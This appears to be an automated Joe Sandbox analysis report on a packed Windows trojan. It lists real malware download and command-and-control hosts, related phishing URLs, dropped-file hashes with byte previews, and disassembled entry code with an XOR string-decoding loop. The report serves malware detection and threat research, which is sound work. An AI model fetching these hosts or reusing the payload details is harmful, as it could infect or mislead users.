http://www.foreca.com	explorer.exe, 00000005.00000002.3709701252.00000000071B2000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/	explorer.exe, 00000005.00000000.1244328769.0000000008F09000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com:443/en-us/feed	explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://69.50.173.166/gdnOT2424.exe	Ey6iI0wxsf.exe, Ey6iI0wxsf.exe, 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
88.198.29.97	wxaov.vg	Germany	24940	HETZNER-ASDE	false
64.70.19.203	zadykwd.ws	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
172.234.222.143	utbidet-ugeas.biz	United States	20940	AKAMAI-ASN1EU	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1506032
Start date and time:	2024-09-07 15:28:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Ey6iI0wxsf.exe renamed because original name is a hash value
Original Sample Name:	Virus.Sysbot.ATA_virussign.com_dc293b8fd57a89ba2122cfd49de8d111.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@5/6@1187/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 8 Number of non-executed functions: 45
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:29:08	API Interceptor	23334x Sleep call for process: onbeateax-oded.exe modified
09:29:23	API Interceptor	1856x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
88.198.29.97	p4C7Gm10K3.exe	Get hash	malicious	Unknown	Browse
88.198.29.97	KJEfMLiuRS.exe	Get hash	malicious	Unknown	Browse
64.70.19.203	zkGOUJOnmc.elf	Get hash	malicious	Unknown	Browse	blog.abconstructors.ws/wp-login.php
	gUJak0onLk.elf	Get hash	malicious	Unknown	Browse	blog.acashmachine.ws/wp-login.php
	Wk8eTHnajw.elf	Get hash	malicious	Unknown	Browse	blog.accu-personalservice.ws/wp-login.php
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	fedyanin.ws/admin.php
	BbbEtaIxAU.exe	Get hash	malicious	Betabot	Browse	issasname.ws/xyz/abc/order.php?id=5889637
	GxELazkKkG.exe	Get hash	malicious	Unknown	Browse	enahmnhqah.ws/imgs/krewa/nqxa.php?id=f21eztiy&s5=3159&lip=192.168.2.7&win=Unk
	Readme.exe	Get hash	malicious	Unknown	Browse	ersaenrnwh.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk
	EAfIchN1gN.exe	Get hash	malicious	Unknown	Browse	ehmpeseeaa.ws/imgs/krewa/nqxa.php?id=5143sudk&s5=3159&lip=192.168.2.4&win=Unk
	144C0621CA5ECB402DE01D8F10044F92A2EF917522E4B.exe	Get hash	malicious	Unknown	Browse	xircus.ws/kin/logout.php
	Br6Pmt0MiZ.exe	Get hash	malicious	Phorpiex	Browse	thaus.ws/6
172.234.222.143	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook, LummaC Stealer	Browse	htwqzczce.biz/bihs
	Bonelessness.exe	Get hash	malicious	Simda Stealer	Browse	vojyqem.com/login.php
	roundwood.exe	Get hash	malicious	Simda Stealer	Browse	vojyqem.com/login.php
	Original Shipment Document_PDF_.exe	Get hash	malicious	FormBook	Browse	przvgke.biz/hpehoptfphnr
	Quotation.exe	Get hash	malicious	Remcos	Browse	przvgke.biz/w
	Bank Form.scr.exe	Get hash	malicious	DarkTortilla, FormBook	Browse	przvgke.biz/irvtanytnjjeyj
	7Y18r(215).exe	Get hash	malicious	Unknown	Browse	przvgke.biz/ubsca
	7Y18r(251).exe	Get hash	malicious	Bdaejec	Browse	przvgke.biz/rcn
	7Y18r(155).exe	Get hash	malicious	Unknown	Browse	przvgke.biz/o
	bJrO2iUerN.elf	Get hash	malicious	Unknown	Browse	wla-totowebsite.hostingterbaru.com/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CENTURYLINK-LEGACY-SAVVISUS	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	66.101.62.17
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	206.129.31.41
	m68k.elf	Get hash	malicious	Unknown	Browse	205.140.235.107
	154.213.187.80-x86-2024-09-01T00_09_56.elf	Get hash	malicious	Mirai	Browse	207.2.162.149
	95.214.27.183-x86-2024-09-02T08_52_28.elf	Get hash	malicious	Unknown	Browse	207.48.144.72
	mirai.mips.elf	Get hash	malicious	Mirai	Browse	208.128.187.123
	firmware.armv5l.elf	Get hash	malicious	Unknown	Browse	64.242.160.135
	firmware.i686.elf	Get hash	malicious	Unknown	Browse	206.156.198.186
	firmware.arm-linux-gnueabihf.elf	Get hash	malicious	Unknown	Browse	206.97.169.144
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	206.29.47.12
AKAMAI-ASN1EU	SecuriteInfo.com.ELF.Mirai-CTV.17056.24722.elf	Get hash	malicious	Unknown	Browse	172.236.28.137
	http://cremis.co.jp/oscommerce/catalog/redirect.php?action=url&goto=m8746liv.dallasnews24.comhttps://ohyeah.jp/redirect.php?action=url&goto=google.com.////amp/chungcusungrouphalong.vn/log/5QpvB8K2/ZWdheXRhbkBpZHNyZWFsZXN0YXRlLmNvbQ==$%E3%80%82&c=E,1,WIsK-Pp3fpUtsfHSA8-xzLJpUhIWthdkIPcm9_R7RXGcgUnYnPVSB6XUBjqIvsMquxANN6Vw0E_RWm4aP1d6oCkGO5HUfUouEOY2VUcZ&typo=1	Get hash	malicious	HTMLPhisher	Browse	172.233.39.205
	Play_VM-NowBarry.doanAudiowav012.html	Get hash	malicious	Unknown	Browse	23.197.127.142
	Amex Message.pdf	Get hash	malicious	HTMLPhisher	Browse	23.55.163.73
	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFkILOsO1UnLItklUwD68rhtr94fRPJI4HAEjYZ7vdlgHTiHU_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZPRzSyzWe4FlQQyqQA-2BOTqGjWjoN-2BuPm4tzM5LM6f6tO2PXKa74YSjAhzL6onG-2BuKO989bZZj9vupVvXtBWU0qXeI6VZny9p-2FgjssbU9Je1I2RDoZPOLgxX8gxf2-2BzsuoGYoVqnaS5CYR1Z5WEWAcZP0wmQbm4ikqer-2BGrlVppyDdPw-2BxPiObQZTbU2ZeclEy9V5nUC-2BnwlvdDmQwsjghHkHuJFiwInVWpyiCgGFo0uYjlPs3G8hdAgJBJu-2F-2B0K864-3D#ZmluYW5jZUBjbGVhcnZpZXcuYWk=	Get hash	malicious	Unknown	Browse	184.50.204.201
	file.exe	Get hash	malicious	Unknown	Browse	23.200.0.42
	https://icrealtime.com/downloads/2	Get hash	malicious	Unknown	Browse	88.221.110.145
	file.exe	Get hash	malicious	Unknown	Browse	23.200.0.9
	file.exe	Get hash	malicious	Unknown	Browse	23.200.0.9
	file.exe	Get hash	malicious	Unknown	Browse	23.219.82.73
HETZNER-ASDE	http://ayushmangupta01.github.io/Netflix_clone_main	Get hash	malicious	HTMLPhisher	Browse	78.46.22.25
	http://www.jazeegroup.com/new_salary_increment_notification_secured_document.html	Get hash	malicious	Unknown	Browse	135.181.164.29
	Client.exe	Get hash	malicious	Quasar	Browse	195.201.57.90
	z3bqnf1WvW.exe	Get hash	malicious	RedLine, SectopRAT	Browse	178.63.51.126
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	5.75.214.132
	http://e95lq1vmgxojxrxkv7.pages.dev/	Get hash	malicious	Unknown	Browse	195.201.57.90
	https://infognition.com/ScreenPressor/ScreenPressor4.zip	Get hash	malicious	Unknown	Browse	78.47.156.184
	bot_library.exe	Get hash	malicious	Unknown	Browse	144.76.166.199
	bot_library.exe	Get hash	malicious	Unknown	Browse	159.69.63.226
	http://beonlineboo.com	Get hash	malicious	Unknown	Browse	116.203.55.214

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Windows\SysWOW64\eapdotet.dll	KJEfMLiuRS.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Roaming\unruhix-udex.dll	KJEfMLiuRS.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Roaming\tmpE8BD.tmp

Download File

Process:	C:\Windows\SysWOW64\onbeateax-oded.exe
File Type:	data
Category:	dropped
Size (bytes):	89785
Entropy (8bit):	5.729539806844961
Encrypted:	false
SSDEEP:	1536:Tv6TTTnxcS7YYLFn5AlVp2GaU53gcQn7U45PC4C:uznxR7Y6Fn5UeU5in7U45PlC
MD5:	0692424E5CE0EE882D974B3922D94AD3
SHA1:	9BE116BC480A85192C3C7F2D353009B92A8B01DA
SHA-256:	F3728D4F6A0E5831D56C59871DCB280868178F2586EBCBB29682765DD6CD27D7
SHA-512:	4C1589A4DD95C96AECE114CB24A0240C9DDE27A0FA1B594756ABB7909707A6FEF670755C56A0CA76E902C2F3A7B7E6F78AA9C9C7CC7F9A0980E04F74F08FB1BC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	low
Preview:	[L......................V...............................................7..Z.7B~.e6fdyqdw{6uwxxyb6ts6dcx6.x6RYE6{yrs8...2.......FS..Z....'.S.............................%.......v....V...........................................6..............................f..r....................................................................................'..V...........................CFN&....................................CFN'.............b..................V...CFN$.........v.......^..............V...8.{fydbe.....f.......\..............V...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\unruhix-udex.dll

Download File

Process:	C:\Windows\SysWOW64\onbeateax-oded.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	24064
Entropy (8bit):	5.986860765323523
Encrypted:	false
SSDEEP:	384:v/7uFc9Ru3OAjpxEtDlW+rLZWPhgdimRcVVKJmb6bteBMpwHejgmRkcUO5:v/a8Ru+1W+rLZWucmaDKJmeteBMRkmKQ
MD5:	013B26C602717EC3FE325ED9319830FF
SHA1:	4200CC9C1FA4D89CA2436C9F457A17FDE59A869C
SHA-256:	37E4F396388F943ED7E586828F159845DC13DABAB8DA6145D56548CE74EDD2A2
SHA-512:	AB3B5EB56A49704EDD20D84C62A2BAEFC219451E0929B8DBC12B0BC5DAEC809C1B49D99AE962B6754BE73694B05B857D0457058761499FCDDAC4C14DB9979CD5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 91%
Joe Sandbox View:	Filename: KJEfMLiuRS.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...5..E...........#...8.:... .......>.......P......................................@>........ .........................,.......t....................................................................................................................text....9.......:.................. ..`.data...@....P.......>..............@....bss.........p...........................edata..,............R..............@..@.idata..t............T..............@....reloc...............Z..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\eapdotet.dll

Download File

Process:	C:\Windows\SysWOW64\onbeateax-oded.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	5120
Entropy (8bit):	3.2054333412539835
Encrypted:	false
SSDEEP:	48:6sz+I0qeE/6JbPXvJFR7YEpk1Kcxc2GZJOFl:H/bvkLfzREEC1KAD
MD5:	C8521A5FDD1C9387D536F599D850B195
SHA1:	A543080665107B7E32BCC1ED19DBFBC1D2931356
SHA-256:	FA8F77B6DAF775D66DE9D27C1D896168A792057358E518C00E72B8964B966CA5
SHA-512:	541500E2CD502852A007D29BADC1A1848D187245F78EC272281BAB290CC6E308F0AE6D1B96863E0C30A176B16C6CF7E63E08A8DE81A84615E4710E7164A805CD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 95%
Joe Sandbox View:	Filename: KJEfMLiuRS.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......E...........#...8..................... ...............................`......._........ ......................0..+....@...............................P..D....................................................................................text...`........................... ..`.data...`.... ......................@....edata..+....0......................@..@.idata.......@......................@....reloc..D....P......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\egfehex.exe

Download File

Process:	C:\Windows\SysWOW64\onbeateax-oded.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	91933
Entropy (8bit):	5.7698706834284845
Encrypted:	false
SSDEEP:	1536:srajDPMGd66ayZ/zko42j99ORmWMdvsBSTdpz5Yrlcxz:aaXEQZ/zko42j99OoWyV/l
MD5:	CF1C0B09A45CC2C1FDA5EAC40A48B8FA
SHA1:	1A0161DF81127F7F1449AD33A91D702D1DF9A11C
SHA-256:	D0040EDA43AF61FE4FFBF93B9346F75480F5455E62CA8A07ADB7F1AD1B6B869A
SHA-512:	520B0AE466DD26D13AFC2E8C386C0566C47678C037698FAF8968479212B3D145DB66857FB6C8263767FFF2CCABF30C4EF8DB25D7C0DBEF9B19BCA4C98C80A9D2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....J.E...............8............&.............@..........................0......9G........ .............................. .......................................................................................................................text............................... ..`.idata....... ......................@.....................................................................................U...@.WVS..t....L$d..&.@.s....B4..A......t$dVj.j......h......$h...Sj.....j.j.j.j.j.h....S..........u........l...j.j.j.P....j..l$.UjdVS....S.....T$e..$....9.s...D$d0.B..T$..D$X9.s....B...D$.P.D$.Pj.j.j.j.j.j.j...$....P.u...........j.j.j.j.j.h......$\|...P........................j......j.+D$mPS.....j.U.t$m.t$qj..(...P.2...P..S.....S..........D$e9.s...D$d0...B.D$e9...h.....\|$mW.....W.....j.h....j.j.j.h...@W.x.......t7...t2j.U.t$mVP.....S.....

C:\Windows\SysWOW64\onbeateax-oded.exe

Download File

Process:	C:\Users\user\Desktop\Ey6iI0wxsf.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	89785
Entropy (8bit):	5.7295398068449614
Encrypted:	false
SSDEEP:	768:3Og167GTCGTL9tCqwhX52pwTu5gV62i9wb4CWYLyAKfPXvByNGOLDd5FBEewN4W9:x0Y9WV32pau5gV62++Kf/vw/d5Uh4AS0
MD5:	DC293B8FD57A89BA2122CFD49DE8D111
SHA1:	73190F2380A2123B89B86A9D5EB73A97B3452DE8
SHA-256:	B343754808E82533910AE2A26337F38342F642B988100FC6EB445135DF3C2315
SHA-512:	389FE921BA842380A0523E722CEF8CF66017542F7B98F4D377B978C8935564AF47B253FC906B5C59D6A1F3A3E00373C484898CA707414458606661452F825959
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....1.E...............8.............3.......`....@........................................... ..............................p..d....................................................................................1..@...........................UPX0....................................UPX1.............t..................@...UPX2.........`.......H..............@....imports.....p.......J..............@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\orfoakup.exe

Download File

Process:	C:\Windows\SysWOW64\onbeateax-oded.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	92957
Entropy (8bit):	5.7843455863266025
Encrypted:	false
SSDEEP:	1536:hl/Ou9DW4wW2duNsqxEYI6IfJ4IHjOjas42EOBjkOJWZgLd:euVWEisIHHHjOjlEqglZSd
MD5:	AB08D42E70F250A21131CFED447214BF
SHA1:	6041C9AC71E74D6C1422673296D25114B15C95FC
SHA-256:	1380ABCCE05F07126A79A7974A3C6E2FEBEDC20E94B5AD92ED3575100975BA6C
SHA-512:	796CC116212AA3BDF1909E9EC30D1F11A833FC74625F1C86D8F4AE2A9BBA862CBF60F047E6AD26FADF21EEA49A3116A352A839F5E24CACE98F85E1E2A535491E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....?.E...............8............&.............@..........................0............... .............................. .......................................................................................................................text...0........................... ..`.idata....... ......................@................................................................................................UWVS.........@..D$......t$..8.<$Vj@.l$.U.\$.Sj.......3.H.f.G...V.t$.USj......t$..t$.j.......$.......@...&.@.s....B4...A.......$....Pj.j..*....5...f.8"..u.......f..t.f.."u....f..t....f.. u.\$.S......D$.PSj.j.j.j.j.j.Vj......h......$....Sj......j.j.j.j.j.h....S........................j.j.j.P.....j.Ujd..$....PS.....S.......$......$....9.s....$....0.B..\$lS......D$.PSj.j.j.j.j.j.j...$....P.............j.j.j.j.j.h......$....P.X...................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Entropy (8bit):	5.7295398068449614
TrID:	Win32 Executable (generic) a (10002005/4) 99.37% UPX compressed Win32 Executable (30571/9) 0.30% Win32 EXE Yoda's Crypter (26571/9) 0.26% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	Ey6iI0wxsf.exe
File size:	89'785 bytes
MD5:	dc293b8fd57a89ba2122cfd49de8d111
SHA1:	73190f2380a2123b89b86a9d5eb73a97b3452de8
SHA256:	b343754808e82533910ae2a26337f38342f642b988100fc6eb445135df3c2315
SHA512:	389fe921ba842380a0523e722cef8cf66017542f7b98f4d377b978c8935564af47b253fc906b5c59d6a1f3a3e00373c484898ca707414458606661452f825959
SSDEEP:	768:3Og167GTCGTL9tCqwhX52pwTu5gV62i9wb4CWYLyAKfPXvByNGOLDd5FBEewN4W9:x0Y9WV32pau5gV62++Kf/vw/d5Uh4AS0
TLSH:	6E937D5BB9B371B1D98502B101A7C3769D66FE362E1F21F1E3451631F606A28BF0C62E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....1.E...............8.............3.......`....@........................................... ............................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4033eb
Entrypoint Section:	UPX0
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x45B531DA [Mon Jan 22 21:51:22 2007 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	c1246ca9ec291149221a5cbc329bf1a2

Entrypoint Preview

Instruction
push ebp
mov eax, 00001678h
push edi
push esi
push ebx
call 00007F1838DC859Ch
mov dword ptr [esp+2Ch], 00000000h
mov dword ptr [esp+28h], 00000000h
mov dword ptr [esp+24h], 00000000h
mov dword ptr [esp+20h], 00000000h
mov dword ptr [esp+0Ch], 00000000h
call 00007F1838DC888Fh
push 004120F0h
mov dword ptr [00412290h], eax
mov dword ptr [004120F0h], 00000094h
call 00007F1838DC8886h
mov eax, 004107F3h
cmp eax, 004107F9h
jnc 00007F1838DC5D98h
xor byte ptr [eax], FFFFFFD4h
inc eax
jmp 00007F1838DC5D85h
mov eax, 004107E6h
cmp eax, 004107F2h
jnc 00007F1838DC5D98h
xor byte ptr [eax], FFFFFFD4h
inc eax
jmp 00007F1838DC5D85h
push 004107E6h
call 00007F1838DC8818h
cmp dword ptr [00412100h], 02h
mov ebx, eax
je 00007F1838DC5DB9h
mov eax, 004107CFh
cmp eax, 004107E5h
jnc 00007F1838DC5D98h
xor byte ptr [eax], FFFFFFD4h
inc eax
jmp 00007F1838DC5D85h
push 004107CFh
push ebx
call 00007F1838DC8840h
test eax, eax
je 00007F1838DC5D98h
push 00000001h
push 00000000h
call eax
push 00000104h
lea eax, dword ptr [esp+0000156Ch]
push eax
push 00000000h
call 00007F1838DC8832h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x17000	0x64	.imports
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x131ac	0x140	UPX1
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0xd000	0xd000	2cdc9786ee15dc2e1cc9d63bb0f03dbd	False	0.4735764723557692	data	6.140220112941354	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0xe000	0x8000	0x7400	02d7aa4098bb96fe9c1b150006da1131	False	0.2876481681034483	data	4.293834683488793	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX2	0x16000	0x1000	0x200	9da33fabd7eb057ac6f3edffff962dce	False	0.734375	data	5.510094656663405	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.imports	0x17000	0x1000	0x600	dce29682adadb21538fe3eaf873e6d9a	False	0.3860677083333333	data	4.054170689353236	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
ADVAPI32.DLL	RegCloseKey, RegCreateKeyA, RegCreateKeyExA, RegDeleteKeyA, RegDeleteValueA, RegEnumKeyA, RegEnumValueA, RegOpenKeyExA, RegQueryValueExA, RegSetValueExA, RegSetValueExW
KERNEL32.DLL	CloseHandle, CreateFileA, CreateMutexA, CreateProcessA, CreateThread, CreateToolhelp32Snapshot, DeleteFileA, ExitProcess, ExpandEnvironmentStringsA, GetCommandLineA, GetComputerNameA, GetCurrentProcessId, GetCurrentThreadId, GetFileSize, GetFileTime, GetLastError, GetModuleFileNameA, GetProcAddress, GetProcessHeap, GetStartupInfoA, GetSystemDirectoryA, GetSystemTimeAsFileTime, GetTempFileNameA, GetTempPathA, GetTickCount, GetVersionExA, HeapAlloc, HeapFree, HeapReAlloc, LoadLibraryA, OpenProcess, Process32First, Process32Next, ReadFile, SetFileAttributesA, SetFilePointer, SetFileTime, SetPriorityClass, Sleep, TerminateProcess, VirtualAlloc, WaitForSingleObject, WriteFile, lstrcatA, lstrcmpiA, lstrcpyA, lstrlenA
USER32.dll	ExitWindowsEx, wsprintfA
WS2_32.DLL	WSAGetLastError, WSAStartup, closesocket, connect, gethostbyname, getsockopt, htons, inet_addr, ioctlsocket, recv, select, send, socket

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-07T15:29:10.832637+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49701	172.234.222.143	80	TCP
2024-09-07T15:29:17.284142+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49704	172.234.222.143	80	TCP
2024-09-07T15:29:20.354062+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49707	172.234.222.143	80	TCP
2024-09-07T15:29:22.031878+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49710	172.234.222.143	80	TCP
2024-09-07T15:29:24.844694+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49718	172.234.222.143	80	TCP
2024-09-07T15:29:26.925667+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49721	172.234.222.143	80	TCP
2024-09-07T15:29:28.511040+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49724	172.234.222.143	80	TCP
2024-09-07T15:29:30.742534+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49727	172.234.222.143	80	TCP
2024-09-07T15:29:34.404628+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49730	172.234.222.143	80	TCP
2024-09-07T15:29:37.454087+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49733	172.234.222.143	80	TCP
2024-09-07T15:29:38.610701+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49736	172.234.222.143	80	TCP
2024-09-07T15:29:40.383415+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49739	172.234.222.143	80	TCP
2024-09-07T15:29:42.192704+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49742	172.234.222.143	80	TCP
2024-09-07T15:29:43.883781+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49745	172.234.222.143	80	TCP
2024-09-07T15:29:45.041380+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49748	172.234.222.143	80	TCP
2024-09-07T15:29:50.635626+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49751	172.234.222.143	80	TCP
2024-09-07T15:29:51.876287+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49754	172.234.222.143	80	TCP
2024-09-07T15:29:53.199747+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49757	172.234.222.143	80	TCP
2024-09-07T15:30:03.402974+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49761	172.234.222.143	80	TCP
